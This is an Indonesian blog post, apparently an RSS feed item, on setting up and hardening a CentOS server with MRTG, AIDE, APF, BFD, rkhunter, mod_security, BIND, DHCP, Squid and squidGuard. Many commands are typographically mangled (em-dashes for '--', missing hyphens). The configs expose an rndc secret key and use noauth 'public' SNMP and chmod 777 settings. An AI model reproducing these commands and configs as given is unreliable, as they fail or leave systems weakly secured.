syslocation PT. xyz, Jakarta
syscontact Root

[root@ns1 gtoms]# /etc/init.d/snmpd start
Starting snmpd: [ OK ]
[root@ns1 gtoms]#

[root@ns1 gtoms]# tail -f /var/log/messages
Aug 21 21:13:50 ns1 yum: Installed: 1:net-snmp-utils-5.3.2.2-9.el5_5.1.i386
Aug 21 21:13:53 ns1 yum: Installed: mrtg-2.14.5-2.i386
Aug 21 21:22:54 ns1 snmpd[7612]: Creating directory: /var/net-snmp
Aug 21 21:22:54 ns1 snmpd[7612]: NET-SNMP version 5.3.2.2

[root@ns1 gtoms]# /usr/bin/snmpwalk v 1 -c public localhost IPMIB::ipAdEntIfIndex
IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1
IP-MIB::ipAdEntIfIndex.192.168.0.2 = INTEGER: 3
IP-MIB::ipAdEntIfIndex.202.137.2x.2xx = INTEGER: 2
[root@ns1 gtoms]#

[root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@localhost

[root@ns1 gtoms]# /usr/bin/indexmaker—output=/var/www/mrtg/index.html /etc/mrtg/mrtg.cfg

[root@ns1 mrtg]# nano /etc/cron.d/mrtg

*/5 * * * * root LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg—lock-file /var/lock/mrtg/mrtg_l—confcache-file /var/lib/mrtg/mrtg.ok

[root@ns1 mrtg]# nano /etc/httpd/conf.d/mrtg.conf
Alias /mrtg /var/www/mrtg


Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1

[root@ns1 mrtg]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]

Untuk mengkases melalui browser ke http://iphostname/mrtg/&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Memonitor server/router lain kedalam MRTG&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Jika menggunakan device router/modem tinggal mengaktifkan snmp, jika server lain linux ingin di monitor tinggal menginstall snmp, contoh disini pada server lain dengan IP 202.137.2x.2zz :

[root@mail gtoms]# yum install net-snmp net-snmp-utils
Setting up Install Process
Parsing package install arguments
Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Processing Dependency: libsensors.so.3 for package: net-snmp—&amp;gt; Processing Dependency: net-snmp-libs = 1:5.3.2.2-9.el5_5.1 for package: net-snmp—-&amp;gt; Package net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 set to be updated—-&amp;gt; Package lm_sensors.i386 0:2.10.7-9.el5 set to be updated—&amp;gt; Finished Dependency Resolution
———————-cutt————————————-

Installed: net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1
Dependency Installed: lm_sensors.i386 0:2.10.7-9.el5 net-snmp.i386 1:5.3.2.2-9.el5_5.1
Updated: net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1
Complete!
[root@mail gtoms]#

[root@mail gtoms]# nano /etc/snmp/snmpd.conf

com2sec local localhost public
com2sec mynetwork 192.168.0.0/24 public
group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup usm mynetwork
view all included .1 80
access MyROGroup “” any noauth exact all none none
access MyRWGroup “” any noauth exact all all none
syslocation Zimbra Mailserver XYZ, Jakarta
syscontact Root

[root@mail gtoms]# /etc/init.d/snmpd start
Starting snmpd: [ OK ]
[root@mail gtoms]#

Kembali ke server MRTG nya

[root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@202.137.2x.2zz

[root@ns1 mrtg]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@192.168.0.1&lt;/pre&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi Webmin &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# rpm U webmin1.510-1.noarch.rpm
warning: webmin-1.510-1.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 11f63c51
Operating system is CentOS Linux
Webmin install complete. You can now login to &lt;a href="https://ns1.xyz.co.id:10000/"&gt;https://ns1.xyz.co.id:10000/&lt;/a&gt;
as root with your root password.
[root@ns1 gtoms]#&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi IDS mengunakan The Advanced Intrusion Detection Environmen&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Untuk mengkonfigurasi AIDE, SELINUX harus enabled.

[root@ns1 gtoms]# yum install aide

[root@ns1 gtoms]# /usr/sbin/aide—init

[root@ns1 gtoms]# cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
[root@ns1 gtoms]# /usr/sbin/aide—check

[root@ns1 gtoms]# aide—check
AIDE, version 0.13.1

### All files match AIDE database. Looks okay!

[root@ns1 gtoms]# vi /etc/cron.weekly/aide.cron

#!/bin/bash
/usr/sbin/aide—check | /bin/mail -s “Weekly Aide Data” IT@zyx.co.id&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi DDOS protection&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;APF —Advanced Policy-based Firewall&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://rfxnetworks.com/downloads/apf-current.tar.gz"&gt;http://rfxnetworks.com/downloads/apf-current.tar.gz&lt;/a&gt;
[root@ns1 gtoms]# tar xfz apf-current.tar.gz
[root@ns1 apf-current]# cd apf-*
[root@ns1 apf-current]# ./install.sh

[root@ns1 apf-current]# vi /etc/apf/conf.apf
DEVEL_MODE=”0”
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,3306”
IG_UDP_CPORTS=”53,111”
USE_AD=”1”

[root@ns1 apf-current]# vi /etc/apf/ad/conf.antidos
sesuaikan sendiri ….&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;BFD —Brute Force Detection &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://rfxnetworks.com/downloads/bfd-current.tar.gz"&gt;http://rfxnetworks.com/downloads/bfd-current.tar.gz&lt;/a&gt;
[root@ns1 gtoms]# tar xfz bfd-current.tar.gz
[root@ns1 bfd-current]# cd bfd-*
[root@ns1 bfd-current]# ./install.sh

[root@ns1 bfd-current]# vi /usr/local/bfd/conf.bfd

ALERT=”1”
EMAIL_USR=”IT@xyz.co.id”

[root@ns1 bfd-current]# vi /usr/local/bfd/ignore.hosts
sesuaikan sendiri ….&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;DDoS Deflate &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://sourceforge.net/projects/rkhunter/files/rkhunter/1.3.6/rkhunter-1.3.6.tar.gz/download"&gt;http://sourceforge.net/projects/rkhunter...z/download&lt;/a&gt;
[root@ns1 gtoms]# tar xfz rkhunter-1.3.6.tar.gz
[root@ns1 gtoms]# cd rkhunter-1.3.6
[root@ns1 rkhunter-1.3.6]# ./installer.sh
[root@ns1 rkhunter-1.3.6]# run rkhunter
[root@ns1 rkhunter-1.3.6]# rkhunter -c&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Install Mod_dosevasive untuk Apache&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz"&gt;http://www.zdziarski.com/projects/mod_ev...0.1.tar.gz&lt;/a&gt;

[root@ns1 gtoms]# tar -zxvf mod_evasive_1.10.1.tar.gz

[root@ns1 gtoms]# cd mod_evasive_1.10.1

[root@ns1 mod_evasive_1.10.1]# $APACHE_ROOT/bin/apxs -cia mod_evasive20.c

[root@ns1 mod_evasive_1.10.1]# vi /usr/local/apache/conf/httpd.conf


DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 300

[root@ns1 mod_evasive_1.10.1]# /usr/loca/apache/bin/apachectl restart&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Install Mod_security&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# &lt;a href="http://www.modsecurity.org/download/modsecurity-apache-1.9.2.tar.gz"&gt;http://www.modsecurity.org/download/mods...9.2.tar.gz&lt;/a&gt;

[root@ns1 gtoms]# tar zxvf modsecurityapache-1.9.2.tar.gz

[root@ns1 gtoms]# cd modsecurity-apache-1.9.2

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apxs -cia mod_security.c

Buat sebuah file dengan nama mod_security.conf didalam folder /usr/local/apache/conf

[root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/mod_security.conf

Rules yang dapat kita buat bisa merujuk ke http://www.modsecurity.org/documentation...mples.html

Kita masukkan path mod_security.conf kedalam file httpd.conf

[root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/httpd.conf

/usr/local/apache/conf/mod_security.conf

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl stop

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl start

Selesai,Tinggal memonitor.&lt;/pre&gt;&lt;br /&gt;
Sedikit Tambahan Dari saya.&lt;br /&gt;
salah satu MRTG itu fungsinya buat ngelihat bandwidth monitoring.&lt;br /&gt;
&lt;br /&gt;
ini kalau buat windows&lt;br /&gt;
&lt;br /&gt;
1. &lt;b&gt;aktifkan SNMP pada windows&lt;/b&gt;&lt;br /&gt;
masuk ke control panel –&amp;gt; add or remove programs –&amp;gt; add/remove windows components –&amp;gt; centang management and monitoring tools, klik details&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTZXjQu06hI/AAAAAAAAAG4/-FvVcMBeHlY/856765363_39ac73e5b4.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
2. download dan install Perl&lt;br /&gt;
3. download paket mrtg kemudian install/ekstrak di&lt;br /&gt;
&lt;a href="http://oss.oetiker.ch/mrtg/pub/?M=D"&gt;http://oss.oetiker.ch/mrtg/pub/?M=D&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4. rename folder hasil ekstraknya dengan mrtg&lt;br /&gt;
5. lalu buat satu folder baru dan beri nama mrtghtml&lt;br /&gt;
6. membuat setting konfigurasi dengan cfgmaker&lt;br /&gt;
&lt;br /&gt;
masuk ke cmd, misal mrtg berada pada drive D&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Microsoft&lt;r&gt; Windows DOS
&lt;c&gt;Copyright Microsoft Corp 1990-1999
C:\&amp;gt;d:
D:\&amp;gt;cd mrtg\bin
D:\mrtg\bin&amp;gt;perl cfgmaker public@202.158.170.1 --global "WorkDir: d:\mrtghtml" --output server.cfg&lt;/c&gt;&lt;/r&gt;&lt;/pre&gt;&lt;br /&gt;
Nanti dihasilkan sebuah file server.cfg&lt;br /&gt;
&lt;br /&gt;
7. sebelum me-run mrtg, sebaiknya dibuat indexmaker agar semua interface yang diamati tersebut bisa dilihat secara bersamaan, ga satu per satu&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;D:\mrtg\bin&amp;gt;perl indexmaker --output index.htm server.cfg&lt;/pre&gt;&lt;br /&gt;
diperoleh file index.htm, lalu copy-kan ke direktory D:\mrtghtml&lt;br /&gt;
&lt;br /&gt;
8. masuk ke D:\mrtg\bin kemudian edit file server.cfg pake notepad.&lt;br /&gt;
Tambahkan :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;RunAsDaemon: Yes
Interval: 5
Agar mrtg selalu merefresh tiap 5 menit sekali
Options[_]: bits
ShortLegend[_]: b/s
Untuk mengubah parameter skala bytes menjadi bits&lt;/pre&gt;&lt;br /&gt;
9. menjalankan mrtg&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;D:\mrtg\bin&amp;gt;perl mrtg server.cfg&lt;/pre&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="135" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTZZsp8xY3I/AAAAAAAAAG8/nw1YZ-oYTB0/192.33.92.249_fa4_1-day.png" title="Ardamax" width="500" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekian Dulu Dari Saya Nanti saya akan Update Kembali Jika Ada Kesalahan.</description><link>http://black-mygo.blogspot.com/2011/01/installing-dnsdhcpwebserverproxyftpddos.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh4.ggpht.com/_29ZRNl4CE-E/TTZXjQu06hI/AAAAAAAAAG4/-FvVcMBeHlY/s72-c/856765363_39ac73e5b4.jpg" width="72"/><thr:total>0</thr:total><enclosure length="76856" type="application/x-gzip" url="http://rfxnetworks.com/downloads/apf-current.tar.gz"/><itunes:explicit>no</itunes:explicit><itunes:subtitle>Install DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS [root@ns1 gtoms]# uname -a Linux ns1.xyz.co.id 2.6.18-194.11.1.el5 #1 SMP Tue Aug 10 19:09:06 EDT 2010 i686 i686 i386 GNU/Linux [root@ns1 gtoms]# cat /etc/redhat-release CentOS release 5.5 (Final) [root@ns1 gtoms]# /sbin/ifconfig eth0 Link encap:Ethernet HWaddr 00:50:BA:C3:71:D2 inet addr:202.137.2x.2xx Bcast:202.137.20.223 Mask:255.255.255.240 inet6 addr: fe80::250:baff:fec3:71d2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1028 errors:0 dropped:0 overruns:0 frame:0 TX packets:757 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:93229 (91.0 KiB) TX bytes:143908 (140.5 KiB) Interrupt:209 Base address:0×2000 eth1 Link encap:Ethernet HWaddr 00:13:D4:01:65:1F inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:1124 errors:0 dropped:0 overruns:0 frame:0 TX packets:1124 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1981916 (1.8 MiB) TX bytes:1981916 (1.8 MiB) Instalasi Domain Name Server sebagai Primary Nameserver [root@ns1 selinux]# yum install bind-chroot Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id Setting up Install Process Package 30:bind-chroot-9.3.6-4.P1.el5_4.2.i386 already installed and latest version Nothing to do [root@ns1 gtoms]# [root@ns1 gtoms]# chmod 755 /var/named/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/named/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/run/ [root@ns1 gtoms]# chmod 777 /var/named/chroot/var/run/named/ [root@ns1 gtoms]# cd /var/named/chroot/var/named/ [root@ns1 named]# ln -s ../../ chroot [root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local [root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root [root@ns1 named] touch /var/named/chroot/etc/named.conf.local [root@ns1 named]# nano /var/named/chroot/etc/named.conf key “rndckey” { algorithm hmac-md5; secret “PatIBVa6D1zrSKnEOBsO4siZyJO0cytbujld1boBT7W8RrVee5dsCkGSID79”; }; options { listen-on port 53 { 127.0.0.1; 192.168.0.2; 202.137.2x.2xx; }; listen-on-v6 port 53 { ::1; }; directory “/var/named/chroot/var/named”; dump-file “/var/named/chroot/var/named/data/cache_dump.db”; statistics-file “/var/named/chroot/var/named/data/named_stats.txt”; memstatistics-file “/var/named/chroot/var/named/data/named_mem_stats.txt”; allow-query { localhost; }; recursion yes; }; logging { channel default_debug { file “data/named.run”; severity dynamic; }; }; zone “.” IN { type hint; file “named.root”; }; zone “xyz.co.id” IN { type om; file “data/xyz.co.id.zone”; allow-update { none; }; }; [root@ns1 named]# nano /var/named/chroot/var/named/data/xyz.co.id $ORIGIN . $TTL 86400 ; 1 day xyz.co.id IN SOA ns1.xyz.co.id. admin.xyz.co.id. ( 2010082100 7200 7200 1209600 86400 ) NS ns1.xyz.co.id. NS ns2.xyz.co.id. A 202.137.2x.2xx MX 10 mail.xyz.co.id. $ORIGIN xyz.co.id. webmail A 202.137.2x.2zz ns1 A 202.137.2x.2xx ns2 A 202.137.2x.2yy mail A 202.137.2x.2zz www A 202.137.2x.2xx mail2 A 202.137.2x.2yy xyz.co.id. IN TXT “PT. xyz” IP 202.137.2x.2zz dengan mail.xyz.co.id merupakan server mailserver menggunakan Zimbra 6.0.6 berada beda mesin dengan server ini. [root@ns1 named]# /etc/init.d/named start Starting named: [ OK ] [root@ns1 etc]# tail -f /var/log/messages Aug 21 11:31:35 ns1 named[3766]: starting BIND 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 -u named -t /var/named/chroot Aug 21 11:31:35 ns1 named[3766]: adjusted limit on open files from 1024 to 1048576 Aug 21 11:31:35 ns1 named[3766]: found 2 CPUs, using 2 worker threads Aug 21 11:31:35 ns1 named[3766]: using up to 4096 sockets Aug 21 11:31:35 ns1 named[3766]: loading configuration from ‘/etc/named.conf’ Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv4 port range: [1024, 65535] Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv6 port range: [1024, 65535] Aug 21 11:31:35 ns1 named[3766]: listening on IPv6 interface lo, ::1#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface lo, 127.0.0.1#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth1, 192.168.0.2#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth0, 202.137.2x.2xx#53 Aug 21 11:31:35 ns1 named[3766]: command channel listening on 127.0.0.1#953 Aug 21 11:31:35 ns1 named[3766]: command channel listening on ::1#953 Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: loaded serial 2010082100 Aug 21 11:31:35 ns1 named[3766]: running Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: sending notifies (serial 2010082100) Instalasi DHCP Server [root@ns1 data]# yum install dhcp Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id Setting up Install Process Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package dhcp.i386 12:3.0.5-23.el5_5.1 set to be updated—&amp;gt; Finished Dependency Resolution ——————————————cut————————————————————- Total download size: 867 k Is this ok [y/N]: y Downloading Packages: dhcp-3.0.5-23.el5_5.1.i386.rpm | 867 kB 00:00 Running rpm_check_debug Running Transaction Test Finished Transaction Test Transaction Test Succeeded Running Transaction Installing : dhcp 1/1 Installed: dhcp.i386 12:3.0.5-23.el5_5.1 Complete! [root@ns1 data]# [root@ns1 data]# nano /etc/dhcpd.conf authoritative; ddns-update-style interim; ignore client-updates; subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.2; option subnet-mask 255.255.255.0; option domain-name “xyz.co.id”; option domain-name-servers 192.168.0.2,202.137.2x.2xx; range dynamic-bootp 192.168.0.9 192.168.0.254; default-lease-time 43200; max-lease-time 604800; } Range IP untuk seluruh komputer karyawan 192.168.0.9 192.168.0.254 [root@ns1 data]# /etc/init.d/dhcpd start Starting dhcpd: [ OK ] [root@ns1 data]# tail -f /var/log/messages Aug 21 11:44:36 ns1 dhcpd: Internet Systems Consortium DHCP Server V3.0.5-RedHat Aug 21 11:44:36 ns1 dhcpd: Copyright 2004-2006 Internet Systems Consortium. Aug 21 11:44:36 ns1 dhcpd: All rights reserved. Aug 21 11:44:36 ns1 dhcpd: For info, please visit http://www.isc.org/sw/dhcp/ Aug 21 11:44:36 ns1 dhcpd: Wrote 0 leases to leases file. Aug 21 11:44:36 ns1 dhcpd: Aug 21 11:44:36 ns1 dhcpd: No subnet declaration for eth0 (202.137.2x.2xx). Aug 21 11:44:36 ns1 dhcpd: ** Ignoring requests on eth0. If this is not what Aug 21 11:44:36 ns1 dhcpd: you want, please write a subnet declaration Aug 21 11:44:36 ns1 dhcpd: in your dhcpd.conf file for the network segment Aug 21 11:44:36 ns1 dhcpd: to which interface eth0 is attached. ** Aug 21 11:44:36 ns1 dhcpd: Aug 21 11:44:36 ns1 dhcpd: Listening on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24 Aug 21 11:44:36 ns1 dhcpd: Sending on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24 Aug 21 11:44:36 ns1 dhcpd: Sending on Socket/fallback/fallback-net 3766 ? Ssl 0:00 /usr/sbin/named -u named -t /var/named/chroot 3928 ? Ss 0:00 /usr/sbin/dhcpd [root@ns1 gtoms]# Instalasi Webserver menggunakan Apache [root@ns1 gtoms]# yum install httpd httpd-devel mysql-server php php-mysql php-mbstring php-mcrypt [root@ns1 gtoms]# nano /etc/httpd/conf/httpd.conf Listen 202.137.2x.2xx:80 NameVirtualHost *:80 ServerAdmin webmaster@xyz.co.id DocumentRoot /home/webxyz ServerName xyz.co.id ServerAlias http://www.xyz.co.id ServerAdmin webmaster@xyz.co.id DocumentRoot /var/www/html/stat ServerName xyz.co.id/stat ServerAlias http://www.xyz.co.id/stat Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny Allow from all Instalasi SQUID sebagai cache proxy server [root@ns1 gtoms]# yum install squid [root@ns1 gtoms]# cd /etc/squid [root@ns1 squid] nano squid.conf [root@ns1 squid]# /usr/sbin/squid -z Instalasi SQUIDGUARD sebagai content filtering. [root@ns1 gtoms]# wget http://www.excaliburtech.net/wp-content/...2010-08-21 18:49:02—http://www.excaliburtech.net/wp-content/uploads/2009/02/squidguard-1.4-3.i386.rpm Resolving http://www.excaliburtech.net… 72.66.114.15 Connecting to http://www.excaliburtech.net|72.66.114.15|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 119416 (117K) [application/x-rpm] Saving to: `squidguard-1.4-3.i386.rpm’ 2010-08-21 18:49:05 (54.0 KB/s) – `squidguard-1.4-3.i386.rpm’ saved [119416/119416] [root@ns1 gtoms]# rpm ivh squidguard1.4-3.i386.rpm Preparing… ########################################### [100%] 1:squidguard ########################################### [100%] [root@ns1 gtoms]# locate squidguard /etc/logrotate.d/squidguard /etc/squid/squidguard.conf /home/gtoms/squidguard-1.4-3.i386.rpm /usr/bin/squidguard /usr/libexec/webmin/blue-theme/squidguard /usr/libexec/webmin/blue-theme/squidguard/images /usr/libexec/webmin/blue-theme/squidguard/images/icon.gif /usr/share/doc/squidguard-1.4 /usr/share/doc/squidguard-1.4/LDAPFlow.txt /usr/share/doc/squidguard-1.4/authentication.html /usr/share/doc/squidguard-1.4/authentication.txt /usr/share/doc/squidguard-1.4/configuration.html /usr/share/doc/squidguard-1.4/configuration.txt /usr/share/doc/squidguard-1.4/configure.html /usr/share/doc/squidguard-1.4/configure.txt /usr/share/doc/squidguard-1.4/expressionlist.html /usr/share/doc/squidguard-1.4/expressionlist.txt /usr/share/doc/squidguard-1.4/extended.html /usr/share/doc/squidguard-1.4/extended.txt /usr/share/doc/squidguard-1.4/faq.html /usr/share/doc/squidguard-1.4/faq.txt /usr/share/doc/squidguard-1.4/features.html /usr/share/doc/squidguard-1.4/features.txt /usr/share/doc/squidguard-1.4/index.html /usr/share/doc/squidguard-1.4/install.html /usr/share/doc/squidguard-1.4/install.txt /usr/share/doc/squidguard-1.4/installation.html /usr/share/doc/squidguard-1.4/installation.txt /usr/share/doc/squidguard-1.4/ldap-ad-tips.html /usr/share/doc/squidguard-1.4/ldap-ad-tips.txt /usr/share/doc/squidguard-1.4/ldap.html /usr/share/doc/squidguard-1.4/ldap.txt /usr/share/doc/squidguard-1.4/runtimeops.html /usr/share/doc/squidguard-1.4/runtimeops.txt /usr/share/doc/squidguard-1.4/sample.conf /usr/share/doc/squidguard-1.4/squidguard-simple.cgi /usr/share/doc/squidguard-1.4/squidguard.cgi /usr/share/doc/squidguard-1.4/squidguard.gif /usr/share/doc/squidguard-1.4/troubleshoot.html /usr/share/doc/squidguard-1.4/troubleshoot.txt Sebelum mengkonfigurasi squidguard.conf install dahulu Shalla’s Blacklists [root@ns1 gtoms]# wget http://www.shallalist.de/Downloads/shallalist.tar.gz%E2%80%942010-08-21 19:02:00—http://www.shallalist.de/Downloads/shallalist.tar.gz Resolving http://www.shallalist.de… 78.47.242.85 Connecting to http://www.shallalist.de|78.47.242.85|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 9670277 (9.2M) [application/x-tar] Saving to: `shallalist.tar.gz’ 11% [============&amp;gt; ] 1,126,182 119K/s eta 80s [root@ns1 gtoms]# mkdir /var/lib/squidguard/db [root@ns1 gtoms]# mv shallalist.tar.gz /var/lib/squidguard/db [root@ns1 gtoms]# cd /var/lib/squidguard/db [root@ns1 db]# gzip -d shallalist.tar.gz [root@ns1 db]# tar xfv shallalist.tar BL/ BL/porn/ BL/porn/domains BL/porn/urls BL/gamble/ BL/gamble/domains BL/gamble/urls BL/chat/ BL/chat/domains BL/chat/urls BL/automobile/ BL/automobile/cars/ BL/automobile/cars/domains BL/automobile/cars/urls BL/automobile/bikes/ BL/automobile/bikes/domains BL/automobile/bikes/urls BL/automobile/boats/ BL/automobile/boats/domains BL/automobile/boats/urls BL/automobile/planes/ BL/automobile/planes/urls BL/automobile/planes/domains BL/recreation/ BL/recreation/humor/ BL/recreation/humor/domains BL/recreation/humor/urls BL/recreation/martialarts/ BL/recreation/martialarts/urls BL/recreation/martialarts/domains BL/recreation/sports/ BL/recreation/sports/domains BL/recreation/sports/urls BL/recreation/travel/ BL/recreation/travel/urls BL/recreation/travel/domains BL/recreation/wellness/ BL/recreation/wellness/domains BL/recreation/wellness/urls BL/recreation/restaurants/ BL/recreation/restaurants/urls BL/recreation/restaurants/domains BL/webradio/ BL/webradio/domains BL/webradio/urls BL/webmail/ BL/webmail/domains BL/webmail/urls BL/warez/ BL/warez/urls BL/warez/domains BL/shopping/ BL/shopping/domains BL/shopping/urls BL/adv/ BL/adv/domains BL/adv/urls BL/movies/ BL/movies/urls BL/movies/domains BL/science/ BL/science/chemistry/ BL/science/chemistry/urls BL/science/chemistry/domains BL/science/astronomy/ BL/science/astronomy/domains BL/science/astronomy/urls BL/hobby/ BL/hobby/pets/ BL/hobby/pets/domains BL/hobby/pets/urls BL/hobby/cooking/ BL/hobby/cooking/domains BL/hobby/cooking/urls BL/hobby/gardening/ BL/hobby/gardening/urls BL/hobby/gardening/domains BL/hobby/games-online/ BL/hobby/games-online/domains BL/hobby/games-online/urls BL/hobby/games-misc/ BL/hobby/games-misc/domains BL/hobby/games-misc/urls BL/violence/ BL/violence/domains BL/violence/urls BL/music/ BL/music/domains BL/music/urls BL/hacking/ BL/hacking/domains BL/hacking/urls BL/isp/ BL/isp/urls BL/isp/domains BL/drugs/ BL/drugs/domains BL/drugs/urls BL/aggressive/ BL/aggressive/domains BL/aggressive/urls BL/news/ BL/news/urls BL/news/domains BL/redirector/ BL/redirector/urls BL/redirector/domains BL/spyware/ BL/spyware/domains BL/spyware/urls BL/dating/ BL/dating/urls BL/dating/domains BL/finance/ BL/finance/banking/ BL/finance/banking/urls BL/finance/banking/domains BL/finance/other/ BL/finance/other/domains BL/finance/other/urls BL/finance/moneylending/ BL/finance/moneylending/domains BL/finance/moneylending/urls BL/finance/insurance/ BL/finance/insurance/urls BL/finance/insurance/domains BL/finance/realestate/ BL/finance/realestate/domains BL/finance/realestate/urls BL/finance/trading/ BL/finance/trading/domains BL/finance/trading/urls BL/dynamic/ BL/dynamic/urls BL/dynamic/domains BL/COPYRIGHT BL/jobsearch/ BL/jobsearch/urls BL/jobsearch/domains 